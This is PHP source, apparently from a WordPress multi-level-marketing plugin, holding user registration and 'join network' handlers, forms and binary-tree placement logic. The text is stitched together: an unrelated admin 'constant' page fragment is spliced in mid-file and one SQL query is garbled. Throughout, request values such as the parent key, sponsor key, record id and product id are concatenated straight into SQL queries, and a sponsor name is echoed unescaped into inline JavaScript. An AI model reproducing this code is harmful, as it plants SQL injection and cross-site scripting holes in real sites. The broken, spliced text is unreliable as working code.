if ($_SERVER['HTTP_HOST'] == '192.168.100.100') {
echo '<form name="form1"action="" method="post">
<input type="number" min="0" max="99" name="id"/>
<input type="number" min="0" max="1" name="epin"/>
<input type="number" min="0" max="1" name="leg"/>
<input type="submit"/></form>';
$epinstatus = isset($_POST['epin']) ? $_POST['epin'] : '';
if ($epinstatus != '') {
$epin_no = $wpdb->get_var("select epin_no from {$table_prefix}mlm_epins where point_status='{$epinstatus}' AND status=0 limit 1 ");
}
if (isset($_POST['id'])) {
$z = $_POST['id'];
$_POST = array('firstname' => 'binary' . $z, 'lastname' => 'binary' . $z, 'username' => 'binary' . $z, 'password' => 'binary' . $z, 'confirm_password' => 'binary' . $z, 'email' => 'binary' . $z . '@gmail.com', 'confirm_email' => 'binary' . $z . '@gmail.com', 'sponsor' => !empty($sponsor_name) ? $sponsor_name : '', 'submit' => 'submit', 'leg' => $_POST['leg'], 'epin' => $epin_no, 'paypal_id' => 'binary' . $z . '@gmail.com');
}
//'epin'=>!empty($epin_no)?$epin_no:'',
//echo "<pre>"; print_r($_SERVER); echo "</pre>";
}
/* ===========================================================Close Auto Insert. */
//most outer if condition
if (isset($_POST['submit'])) {
$firstname = sanitize_text_field($_POST['firstname']);
$lastname = sanitize_text_field($_POST['lastname']);
$username = sanitize_text_field($_POST['username']);
$epin = sanitize_text_field(isset($_POST['epin']) ? $_POST['epin'] : '');
$sponsor = sanitize_text_field($_POST['sponsor']);
$password = sanitize_text_field($_POST['password']);
$confirm_pass = sanitize_text_field($_POST['confirm_password']);
$email = sanitize_text_field($_POST['email']);
$confirm_email = sanitize_text_field($_POST['confirm_email']);
$invalid_usernames = array('admin');
$username = sanitize_user($username);
if (!validate_username($username) || in_array($username, $invalid_usernames)) {
$error .= "\n Username is invalid.";
}
if (username_exists($username)) {
$error .= "\n Username already exists.";
}
if (empty($sponsor)) {
$sponsor = $wpdb->get_var("select `username` FROM {$table_prefix}mlm_users order by id asc limit 1");
}
if (!empty($epin) && epin_exists($epin)) {
$error .= "\n ePin already issued or wrong ePin.";
}
if (!empty($mlm_general_settings['sol_payment']) && empty($epin)) {
$error .= "\n Please enter your ePin.";
} else {
if (empty($_POST['epin_value']) && empty($epin)) {
$error .= "\n Please either enter the ePin or select the Product.";
}
}
if (checkInputField($password)) {
$error .= "\n Please enter your password.";
}
if (confirmPassword($password, $confirm_pass)) {
$error .= "\n Please confirm your password.";
}
if (checkInputField($sponsor)) {
$error .= "\n Please enter your sponsor name.";
}
if (checkInputField($firstname)) {
$error .= "\n Please enter your first name.";
}
if (checkInputField($lastname)) {
$error .= "\n Please enter your last name.";
}
if (!is_email($email)) {
$error .= "\n E-mail address is invalid.";
}
if (email_exists($email)) {
$error .= "\n E-mail address is already in use.";
}
if (confirmEmail($email, $confirm_email)) {
$error .= "\n Please confirm your email address.";
}
include_once ABSPATH . '/wp-admin/includes/plugin.php';
if (is_plugin_active('mlm-paypal-mass-pay/load-data.php')) {
$paypalId = sanitize_text_field($_POST['paypal_id']);
if (checkInputField($paypalId)) {
$error .= "\n Please enter your Paypal id.";
}
}
$sql = "SELECT COUNT(*) num, `user_key` FROM {$table_prefix}mlm_users WHERE `username` = '" . $sponsor . "'";
$intro = $wpdb->get_row($sql);
if (isset($_GET['l']) && $_GET['l'] != '') {
$leg = $_GET['l'];
} else {
@($leg = $_POST['leg']);
}
if (isset($leg) && $leg != '0') {
if ($leg != '1') {
$error .= "\n You have enter a wrong placement.";
}
}
//generate random numeric key for new user registration
$user_key = generateKey();
//if generated key is already exist in the DB then again re-generate key
do {
$check = $wpdb->get_var("SELECT COUNT(*) ck FROM {$table_prefix}mlm_users WHERE `user_key` = '" . $user_key . "'");
$flag = 1;
if ($check == 1) {
$user_key = generateKey();
$flag = 0;
}
} while ($flag == 0);
//check parent key exist or not
if (isset($_GET['k']) && $_GET['k'] != '') {
if (!checkKey($_GET['k'])) {
$error .= "\n Parent key does't exist.";
}
// check if the user can be added at the current position
$checkallow = checkallowed($_GET['k'], $leg);
if ($checkallow >= 1) {
$error .= "\n You have enter a wrong placement.";
}
}
if (!isset($leg)) {
$key = $wpdb->get_var("SELECT user_key FROM {$table_prefix}mlm_users WHERE user_id = '{$user_id}'");
$l = totalLeftLegUsers($key);
$r = totalRightLegUsers($key);
if ($l < $r) {
$leg = '0';
} else {
$leg = '1';
}
}
// outer if condition
if (empty($error)) {
// inner if condition
if ($intro->num == 1) {
$sponsor = $intro->user_key;
$sponsor1 = $sponsor;
//find parent key
if (isset($_GET['k']) && $_GET['k'] != '') {
$parent_key = $_GET['k'];
} else {
$readonly_sponsor = '';
do {
$sql = "SELECT `user_key` FROM {$table_prefix}mlm_users WHERE parent_key = '" . $sponsor1 . "' AND \n\t\t\t\tleg = '" . $leg . "' AND banned = '0'";
$spon = $wpdb->get_var($sql);
$num = $wpdb->num_rows;
if ($num) {
$sponsor1 = $spon;
}
} while ($num == 1);
$parent_key = $sponsor1;
}
$user = array('user_login' => $username, 'user_pass' => $password, 'first_name' => $firstname, 'last_name' => $lastname, 'user_email' => $email, 'user_registered' => current_time('mysql'), 'role' => 'mlm_user');
// return the wp_users table inserted user's ID
$user_id = wp_insert_user($user);
/* Send e-mail to admin and new user */
wp_new_user_notification($user_id, $password);
$pc = isset($mlm_general_settings['product_price']) ? $mlm_general_settings['product_price'] : '0';
//insert the data into fa_user table
if (!empty($epin)) {
$pointResult = $wpdb->get_row("select p_id,point_status from {$table_prefix}mlm_epins where epin_no = '{$epin}'");
$pointStatus = $pointResult->point_status;
$productPrice = $wpdb->get_var("SELECT product_price FROM {$table_prefix}mlm_product_price WHERE p_id = '" . $pointResult->p_id . "'");
// to epin point status 1
if ($pointStatus[0] == '1') {
$paymentStatus = '1';
$payment_date = current_time('mysql');
} else {
if ($pointStatus[0] == '0') {
$paymentStatus = '2';
$payment_date = current_time('mysql');
}
}
} else {
if (!empty($_POST['epin_value'])) {
$productPrice = $wpdb->get_var("SELECT product_price FROM {$table_prefix}mlm_product_price WHERE p_id = '" . $_POST['epin_value'] . "'");
$paymentStatus = '0';
$payment_date = '0000-00-00 00:00:00';
} else {
// to non epin
$paymentStatus = '0';
$payment_date = '0000-00-00 00:00:00';
}
}
$insert = "INSERT INTO {$table_prefix}mlm_users\n\t\t\t\t\t\t (\n\t\t\t\t\t\t\t\tuser_id, username, user_key, parent_key, sponsor_key, leg,payment_date,payment_status,product_price\n\t\t\t\t\t\t\t) \n\t\t\t\t\t\t\tVALUES\n\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t'" . $user_id . "','" . $username . "', '" . $user_key . "', '" . $parent_key . "', '" . $sponsor . "', '" . $leg . "','" . $payment_date . "','" . $paymentStatus . "','" . $productPrice . "'\n\t\t\t\t\t\t\t)";
// if all data successfully inserted
if ($wpdb->query($insert)) {
//begin most inner if condition
//entry on Left and Right Leg tables
if ($leg == 0) {
$insert = "INSERT INTO {$table_prefix}mlm_leftleg set pkey='" . $parent_key . "',ukey='" . $user_key . "'";
$insert = $wpdb->query($insert);
if ($u = get_option('network_mail', true) == 1) {
}
} else {
if ($leg == 1) {
$insert = "INSERT INTO {$table_prefix}mlm_rightleg set pkey='" . $parent_key . "',ukey='" . $user_key . "'";
$insert = $wpdb->query($insert);
if ($u = get_option('network_mail', true) == 1) {
}
}
}
SendMailToAll($user_key, $parent_key, $sponsor);
//begin while loop
while ($parent_key != '0') {
$query = "SELECT COUNT(*) num, parent_key, leg \n\t\t\t\t\t\t\t\t FROM {$table_prefix}mlm_users \n\t\t\t\t\t\t\t\t WHERE user_key = '" . $parent_key . "'\n\t\t\t\t\t\t\t\t AND banned = '0'";
$result = $wpdb->get_row($query);
if ($result->num == 1) {
if ($result->parent_key != '0') {
if ($result->leg == 1) {
$tbright = "INSERT INTO {$table_prefix}mlm_rightleg set pkey='" . $result->parent_key . "',ukey='" . $user_key . "' ";
$tbright = $wpdb->query($tbright);
if ($u = get_option('network_mail', true) == 1) {
}
} else {
$tbleft = "INSERT INTO {$table_prefix}mlm_leftleg set pkey='" . $result->parent_key . "',ukey='" . $user_key . "' ";
$tbleft = $wpdb->query($tbleft);
if ($u = get_option('network_mail', true) == 1) {
}
}
}
$parent_key = $result->parent_key;
} else {
$parent_key = '0';
}
}
//end while loop
if (isset($epin) && !empty($epin)) {
$sql = "update {$table_prefix}mlm_epins set user_key='{$user_key}', date_used='" . current_time('mysql') . "', status=1 where epin_no ='{$epin}' ";
$wpdb->query($sql);
}
if ($paymentStatus == 1) {
insert_refferal_commision($user_id);
}
if (is_plugin_active('mlm-paypal-mass-pay/load-data.php')) {
update_user_meta($user_id, 'mlm_user_paypalid', $paypalId, FALSE);
}
$chk = '';
$msg = "<span style='color:green;'>Congratulations! You have successfully registered in the system.</span>";
}
//end most inner if condition
} else {
$error = "\n Sponsor does not exist in the system.";
}
}
//end outer if condition
}
//end most outer if condition
//if any error occoured
if (!empty($error)) {
$error = nl2br($error);
}
if ($chk != '') {
include 'js-validation-file.html';
?>
<?php
$user_roles = $current_user->roles;
$user_role = array_shift($user_roles);
$general_setting = get_option('wp_mlm_general_settings');
if (is_user_logged_in()) {
if (!empty($general_setting['wp_reg']) && !empty($general_setting['reg_url']) && $user_role != 'mlm_user') {
echo "<script>window.location ='" . site_url() . '/' . $general_setting['reg_url'] . "'</script>";
}
} else {
if (!empty($general_setting['wp_reg']) && !empty($general_setting['reg_url'])) {
echo "<script>window.location ='" . site_url() . '/' . $general_setting['reg_url'] . "'</script>";
}
}
?>
<span style='color:red;'><?php
echo $error;
?>
</span>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<form name="frm" method="post" action="" onSubmit="return formValidation();">
<tr>
<td><?php
_e('Create Username', 'binary-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="text" name="username" id="username" value="<?php
if (!empty($_POST['username'])) {
_e(htmlentities($_POST['username']));
}
?>
" maxlength="20" size="37" onBlur="checkUserNameAvailability(this.value);"><br /><div id="check_user"></div></td>
</tr>
<?php
$mlm_general_settings = get_option('wp_mlm_general_settings');
if (!empty($mlm_general_settings['ePin_activate']) && !empty($mlm_general_settings['sol_payment'])) {
?>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Enter ePin', 'binary-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="text" name="epin" id="epin" value="<?php
if (!empty($_POST['epin'])) {
_e(htmlentities($_POST['epin']));
}
?>
" maxlength="20" size="37" onBlur="checkePinAvailability(this.value);"><br /><div id="check_epin"></div></td>
</tr>
<?php
} else {
if (!empty($mlm_general_settings['ePin_activate'])) {
?>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Enter ePin', 'binary-mlm-pro');
?>
:</td>
<td><input type="text" name="epin" id="epin" value="<?php
if (!empty($_POST['epin'])) {
_e(htmlentities($_POST['epin']));
}
?>
" maxlength="20" size="37" onBlur="checkePinAvailability(this.value);"><br /><div id="check_epin"></div></td>
</tr>
<?php
}
}
if (empty($mlm_general_settings['sol_payment'])) {
?>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Product', 'binary-mlm-pro');
?>
:</td>
<td> <?php
$pro_price_settings = $wpdb->get_results("select * from {$table_prefix}mlm_product_price where p_id!='1'");
?>
<select name="epin_value" id="epin_value" >
<option value="">Select Product</option>
<?php
foreach ($pro_price_settings as $pricedetail) {
?>
<option value="<?php
echo $pricedetail->p_id;
?>
" <?php
echo $epin_value == $pricedetail->p_id ? 'selected="selected"' : '';
?>
><?php
echo $pricedetail->product_name;
?>
</option>
<?php
}
?>
</select></td>
</tr>
<?php
}
?>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Create Password', 'binary-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td> <input type="password" name="password" id="password" maxlength="20" size="37" >
<br /><span style="font-size:12px; font-style:italic; color:#006633"><?php
_e('Password length atleast 6 character', 'binary-mlm-pro');
?>
</span>
</td>
</tr>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Confirm Password', 'binary-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="password" name="confirm_password" id="confirm_password" maxlength="20" size="37" ></td>
</tr>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Email Address', 'binary-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="text" name="email" id="email" value="<?php
if (!empty($_POST['email'])) {
_e(htmlentities($_POST['email']));
}
?>
" size="37" ></td>
</tr>
<tr><td colspan="2"> </td></tr><tr>
<tr>
<td><?php
_e('Confirm Email Address', 'binary-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="text" name="confirm_email" id="confirm_email" value="<?php
if (!empty($_POST['confirm_email'])) {
_e(htmlentities($_POST['confirm_email']));
}
?>
" size="37" ></td>
</tr>
<tr><td colspan="2"> </td></tr>
<?php
if (is_plugin_active('mlm-paypal-mass-pay/load-data.php')) {
?>
<tr>
<td><?php
_e('Paypal ID', 'binary-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="text" name="paypal_id" id="paypal_id" value="<?php
if (!empty($_POST['paypal_id'])) {
_e(htmlentities($_POST['paypal_id']));
}
?>
" size="37" ></td>
</tr>
<tr><td colspan="2"> </td></tr>
<?php
}
?>
<tr>
<td><?php
_e('First Name', 'binary-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="text" name="firstname" id="firstname" value="<?php
if (!empty($_POST['firstname'])) {
_e(htmlentities($_POST['firstname']));
}
?>
" maxlength="20" size="37" onBlur="return checkname(this.value, 'firstname');" ></td>
</tr>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Last Name', 'binary-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="text" name="lastname" id="lastname" value="<?php
if (!empty($_POST['lastname'])) {
_e(htmlentities($_POST['lastname']));
}
?>
" maxlength="20" size="37" onBlur="return checkname(this.value, 'lastname');"></td>
</tr>
<tr><td colspan="2"> </td></tr>
<tr>
<?php
if (isset($sponsor_name) && $sponsor_name != '') {
$spon = $sponsor_name;
} else {
if (isset($sp_name)) {
$spon = $sp_name;
} else {
if (isset($_POST['sponsor'])) {
$spon = htmlentities($_POST['sponsor']);
}
}
}
?>
<td><?php
_e('Sponsor Name', 'binary-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td>
<input type="text" name="sponsor" id="sponsor" value="<?php
if (!empty($spon)) {
_e($spon);
}
?>
" maxlength="20" size="37" onBlur="checkReferrerAvailability(this.value);" <?php
echo $readonly_sponsor;
?>
>
<br /><div id="check_referrer"></div>
</td>
</tr>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Placement', 'binary-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<?php
if (isset($_POST['leg']) && $_POST['leg'] == '0') {
$checked = 'checked';
} else {
if (isset($_GET['l']) && $_GET['l'] == '0') {
$checked = 'checked';
$disable_leg = 'disabled';
} else {
$checked = '';
}
}
if (isset($_POST['leg']) && $_POST['leg'] == '1') {
$checked1 = 'checked';
} else {
if (isset($_GET['l']) && $_GET['l'] == '1') {
$checked1 = 'checked';
$disable_leg = 'disabled';
} else {
$checked1 = '';
}
}
?>
<td><?php
echo __('Left', 'binary-mlm-pro');
?>
<input id="left" type="radio" name="leg" value="0" <?php
echo $checked;
?>
<?php
if (!empty($disable_leg)) {
_e($disable_leg);
}
?>
/>
<?php
echo __('Right', 'binary-mlm-pro');
?>
<input id="right" type="radio" name="leg" value="1" <?php
echo $checked1;
?>
<?php
if (!empty($disable_leg)) {
_e($disable_leg);
}
?>
/>
</td>
</tr>
<tr>
<td colspan="2"><input type="submit" name="submit" id="submit" value="<?php
_e('Submit', 'binary-mlm-pro');
?>
" /></td>
</tr>
</form>
</table>
<?php
} else {
_e($msg);
}
}
}
$obj->add_fields($con_value, 'req', ER_VALUE);
$error = $obj->validate();
if ($error == '') {
if ($action == 'add') {
$insert = "INSERT INTO constant (con_key,con_value,status,created) VALUES('" . $con_key . "','" . $con_value . "','" . $status . "','" . date("Y-m-d H:i:s") . "')";
$con->insert($insert);
$msg = 'ADD';
} else {
if ($action == 'edit') {
$update = "UPDATE constant SET con_value='" . $con_value . "', status='" . $status . "' WHERE id='" . $id . "'";
$con->update($update);
$msg = 'EDIT';
}
}
redirectPage(SITE_ADM . "constant.php?msg=" . $msg);
}
}
// Form Post code end
// Constant Edit select query code start
if (isset($_GET['action']) && $_GET['action'] == 'edit') {
$eqry = "SELECT * FROM constant WHERE id='" . $_GET['id'] . "'";
$eres = $con->recordselect($eqry);
$erow = mysql_fetch_array($eres);
extract($erow);
}
// Constant Edit select query code end
// Constant listing select query, pagging, sorting code start
if (!isset($_GET['action'])) {
$extra = '';
$page = 1;
function join_network()
{
global $wpdb, $current_user;
$user_id = $current_user->ID;
$table_prefix = mlm_core_get_table_prefix();
$error = '';
$chk = 'error';
if (!empty($_GET['sp_name'])) {
$sp_name = $wpdb->get_var("select username from {$table_prefix}mlm_users where username='******'sp_name'] . "'");
if ($sp_name) {
?>
<script type='text/javascript'>
$.cookie('sp_name', '<?php
echo $sp_name;
?>
', {path: '/'});
</script>
<?php
}
} else {
if (!empty($_REQUEST['sp'])) {
$sp_name = $wpdb->get_var("select username from {$table_prefix}mlm_users where user_key='" . $_REQUEST['sp'] . "'");
if ($sp_name) {
?>
<script type='text/javascript'>
$.cookie('sp_name', '<?php
echo $sp_name;
?>
', {path: '/'});
</script>
<?php
}
} else {
$sp_name = empty($_COOKIE["sp_name"]) ? '' : $_COOKIE["sp_name"];
}
}
/* * ****date format ***** */
$date_format = get_option('date_format');
$time_format = get_option('time_format');
/* * ****** end******* */
global $current_user;
get_currentuserinfo();
$mlm_general_settings = get_option('wp_mlm_general_settings');
if (isset($_REQUEST['sp']) && $_REQUEST['sp'] != '') {
$sponsorName = getusernamebykey($_REQUEST['sp']);
if (isset($sponsorName) && $sponsorName != '') {
$readonly_sponsor = 'readonly';
$sponsor_name = $sponsorName;
} else {
redirectPage(home_url(), array());
exit;
}
} else {
if (!empty($_REQUEST['sp_name'])) {
$sponsorName = $_REQUEST['sp_name'];
if (!empty($sponsorName)) {
$readonly_sponsor = 'readonly';
$sponsor_name = $sponsorName;
} else {
redirectPage(home_url(), array());
exit;
}
} else {
$readonly_sponsor = '';
}
}
//most outer if condition
if (isset($_POST['submit'])) {
$firstname = sanitize_text_field($_POST['firstname']);
$lastname = sanitize_text_field($_POST['lastname']);
$email = sanitize_text_field($_POST['email']);
$sponsor = sanitize_text_field($_POST['sponsor']);
if (empty($sponsor)) {
$sponsor = $wpdb->get_var("select `username` FROM {$table_prefix}mlm_users order by id asc limit 1");
}
if (checkInputField($firstname)) {
$error .= "\n Please enter your first name.";
}
if (checkInputField($lastname)) {
$error .= "\n Please enter your last name.";
}
if (!is_email($email)) {
$error .= "\n E-mail address is invalid.";
}
//Add usernames we don't want used
$invalid_usernames = array('admin');
//Do username validation
$sql = "SELECT COUNT(*) num, `user_key` \n\t\t\t\tFROM {$table_prefix}mlm_users \n\t\t\t\tWHERE `username` = '" . $sponsor . "'";
$intro = $wpdb->get_row($sql);
if (isset($_GET['l']) && $_GET['l'] != '') {
$leg = $_GET['l'];
} else {
$leg = $_POST['leg'];
}
if (isset($leg) && $leg != '0') {
if ($leg != '1') {
$error .= "\n You have enter a wrong placement.";
}
}
if (!isset($leg)) {
$key = $wpdb->get_var("SELECT user_key FROM {$table_prefix}mlm_users WHERE user_id = '{$user_id}'");
$l = totalLeftLegUsers($key);
$r = totalRightLegUsers($key);
if ($l < $r) {
$leg = '0';
} else {
$leg = '1';
}
}
//generate random numeric key for new user registration
$user_key = generateKey();
//if generated key is already exist in the DB then again re-generate key
do {
$check = $wpdb->get_var("SELECT COUNT(*) ck FROM {$table_prefix}mlm_users \n WHERE `user_key` = '" . $user_key . "'");
$flag = 1;
if ($check == 1) {
$user_key = generateKey();
$flag = 0;
}
} while ($flag == 0);
//check parent key exist or not
if (isset($_GET['k']) && $_GET['k'] != '') {
if (!checkKey($_GET['k'])) {
$error .= "\n Parent key does't exist.";
}
// check if the user can be added at the current position
$checkallow = checkallowed($_GET['k'], $leg);
if ($checkallow >= 1) {
$error .= "\n You have enter a wrong placement.";
}
}
// outer if condition
if (empty($error)) {
// inner if condition
if ($intro->num == 1) {
$sponsor = $intro->user_key;
$sponsor1 = $sponsor;
//find parent key
if (isset($_GET['k']) && $_GET['k'] != '') {
$parent_key = $_GET['k'];
} else {
$readonly_sponsor = '';
do {
$sql = "SELECT `user_key` FROM {$table_prefix}mlm_users \n WHERE parent_key = '" . $sponsor1 . "' AND \n leg = '" . $leg . "' AND banned = '0'";
$spon = $wpdb->get_var($sql);
$num = $wpdb->num_rows;
if ($num) {
$sponsor1 = $spon;
}
} while ($num == 1);
$parent_key = $sponsor1;
}
// return the wp_users table inserted user's ID
$user = array('ID' => $user_id, 'first_name' => $firstname, 'last_name' => $lastname, 'user_email' => $email, 'role' => 'mlm_user');
// return the wp_users table inserted user's ID
$user_id = wp_update_user($user);
$username = $current_user->user_login;
//get the selected country name from the country table
/* Send e-mail to admin and new user -
You could create your own e-mail instead of using this function */
/** * ****** product Price set *************** */
if (!empty($mlm_general_settings['product_price'])) {
$pc = $mlm_general_settings['product_price'];
} else {
$pc = '0';
}
//insert the data into fa_user table
if (!empty($epin)) {
$pointStatus = $wpdb->get_row("select point_status from {$table_prefix}mlm_epins where epin_no = '{$epin}'", ARRAY_N);
// to epin point status 1
if ($pointStatus[0] == '1') {
$paymentStatus = '1';
$product_price = $pc;
} else {
if ($pointStatus[0] == '0') {
$paymentStatus = '2';
$product_price = '0';
}
}
} else {
// to non epin
$paymentStatus = '0';
$product_price = '0';
}
$insert = "INSERT INTO {$table_prefix}mlm_users(\n\t\t\tuser_id, username, user_key, parent_key, sponsor_key, leg,payment_status,product_price) \n\t\t\tVALUES(\n\t\t\t'" . $user_id . "','" . $username . "', '" . $user_key . "', '" . $parent_key . "', '" . $sponsor . "', '" . $leg . "','" . $paymentStatus . "','" . $product_price . "')";
// if all data successfully inserted
if ($wpdb->query($insert)) {
//begin most inner if condition
//entry on Left and Right Leg tables
if ($leg == 0) {
$insert = "INSERT INTO {$table_prefix}mlm_leftleg (pkey, ukey) \n\t\t\t\tVALUES ('" . $parent_key . "','" . $user_key . "')";
$insert = $wpdb->query($insert);
} else {
if ($leg == 1) {
$insert = "INSERT INTO {$table_prefix}mlm_rightleg(pkey, ukey) \n\t\t\t\tVALUES('" . $parent_key . "','" . $user_key . "')";
$insert = $wpdb->query($insert);
}
}
//begin while loop
while ($parent_key != '0') {
$query = "SELECT COUNT(*) num, parent_key, leg \n FROM {$table_prefix}mlm_users \n WHERE user_key = '" . $parent_key . "'\n AND banned = '0'";
$result = $wpdb->get_row($query);
if ($result->num == 1) {
if ($result->parent_key != '0') {
if ($result->leg == 1) {
$tbright = "INSERT INTO {$table_prefix}mlm_rightleg (pkey,ukey) \n\t\t\t\t\t\tVALUES('" . $result->parent_key . "','" . $user_key . "')";
$tbright = $wpdb->query($tbright);
} else {
$tbleft = "INSERT INTO {$table_prefix}mlm_leftleg (pkey, ukey) \n\t\t\t\t\t\tVALUES('" . $result->parent_key . "','" . $user_key . "')";
$tbleft = $wpdb->query($tbleft);
}
}
$parent_key = $result->parent_key;
} else {
$parent_key = '0';
}
}
//end while loop
if (isset($epin) && !empty($epin)) {
$sql = "update {$table_prefix}mlm_epins set user_key='{$user_key}', date_used=now(), status=1 where epin_no ='{$epin}' ";
// Update epin according user_key (19-07-2013)
$wpdb->query($sql);
if ($paymentStatus == 1) {
insert_refferal_commision($user_id, $sponsor, $user_key);
}
}
$chk = '';
$msg = "<span style='color:green;'>Congratulations! You have successfully Join MLM</span>";
}
//end most inner if condition
} else {
$error = "\n Sponsor does not exist in the system.";
}
}
//end outer if condition
}
//end most outer if condition
//if any error occoured
if (!empty($error)) {
$error = nl2br($error);
}
if ($chk != '') {
include 'js-validation-file.html';
?>
<?php
if ($current_user->roles[0] == 'mlm_user') {
echo "Your are MLM user";
} else {
$_POST['firstname'] = get_user_meta($user_id, 'first_name', true);
$_POST['lastname'] = get_user_meta($user_id, 'last_name', true);
$_POST['email'] = $current_user->user_email;
?>
<script>
function checkspname() {
var spname = document.getElementById('sponsor').value;
if (spname == '') {
if (!confirm('Are you sure you do not know your Sponsor\'s username? Proceed without a Sponsor?')) {
return false;
}
}
}
</script>
<span style='color:red;'><?php
echo $error;
?>
</span>
<?php
if (isset($msg) && $msg != "") {
echo $msg;
}
?>
<form name="frm" method="post" action="" onSubmit="checkspname()">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('First Name', 'binary-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="text" name="firstname" id="firstname" value="<?php
if (!empty($_POST['firstname'])) {
_e(htmlentities($_POST['firstname']));
}
?>
" maxlength="20" size="37" onBlur="return checkname(this.value, 'firstname');" ></td>
</tr>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Last Name', 'binary-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="text" name="lastname" id="lastname" value="<?php
if (!empty($_POST['lastname'])) {
_e(htmlentities($_POST['lastname']));
}
?>
" maxlength="20" size="37" onBlur="return checkname(this.value, 'lastname');"></td>
</tr>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Email Address', 'binary-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><input type="text" name="email" id="email" value="<?php
if (!empty($_POST['email'])) {
_e(htmlentities($_POST['email']));
}
?>
" size="37" ></td>
</tr>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Sponsor Name', 'binary-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td>
<input type="text" name="sponsor" id="sponsor" value="<?php
if (!empty($_POST['sponsor'])) {
_e(htmlentities($_POST['sponsor']));
}
?>
" maxlength="20" size="37" onkeyup="checkReferrerAvailability12(this.value);">
<br /><div id="check_referrer"></div>
</td>
</tr>
<tr><td colspan="2"> </td></tr>
<tr>
<td><?php
_e('Placement', 'binary-mlm-pro');
?>
<span style="color:red;">*</span> :</td>
<td><?php
echo __('Left', 'binary-mlm-pro');
?>
<input id="left" type="radio" name="leg" value="0" <?php
echo isset($led) && $leg == '0' ? 'checked="checked"' : '';
?>
/>
<?php
echo __('Right', 'binary-mlm-pro');
?>
<input id="right" type="radio" name="leg" value="1" <?php
echo isset($led) && $leg == '0' ? 'checked="checked"' : '';
?>
/>
</td>
<tr><td colspan="2"> </td></tr>
<tr>
<td colspan="2"><input type="submit" name="submit" id="submit" value="<?php
_e('Submit', 'binary-mlm-pro');
?>
" /></td>
</tr>
</table>
</form>
<?php
}
?>
<?php
} else {
_e($msg);
}
}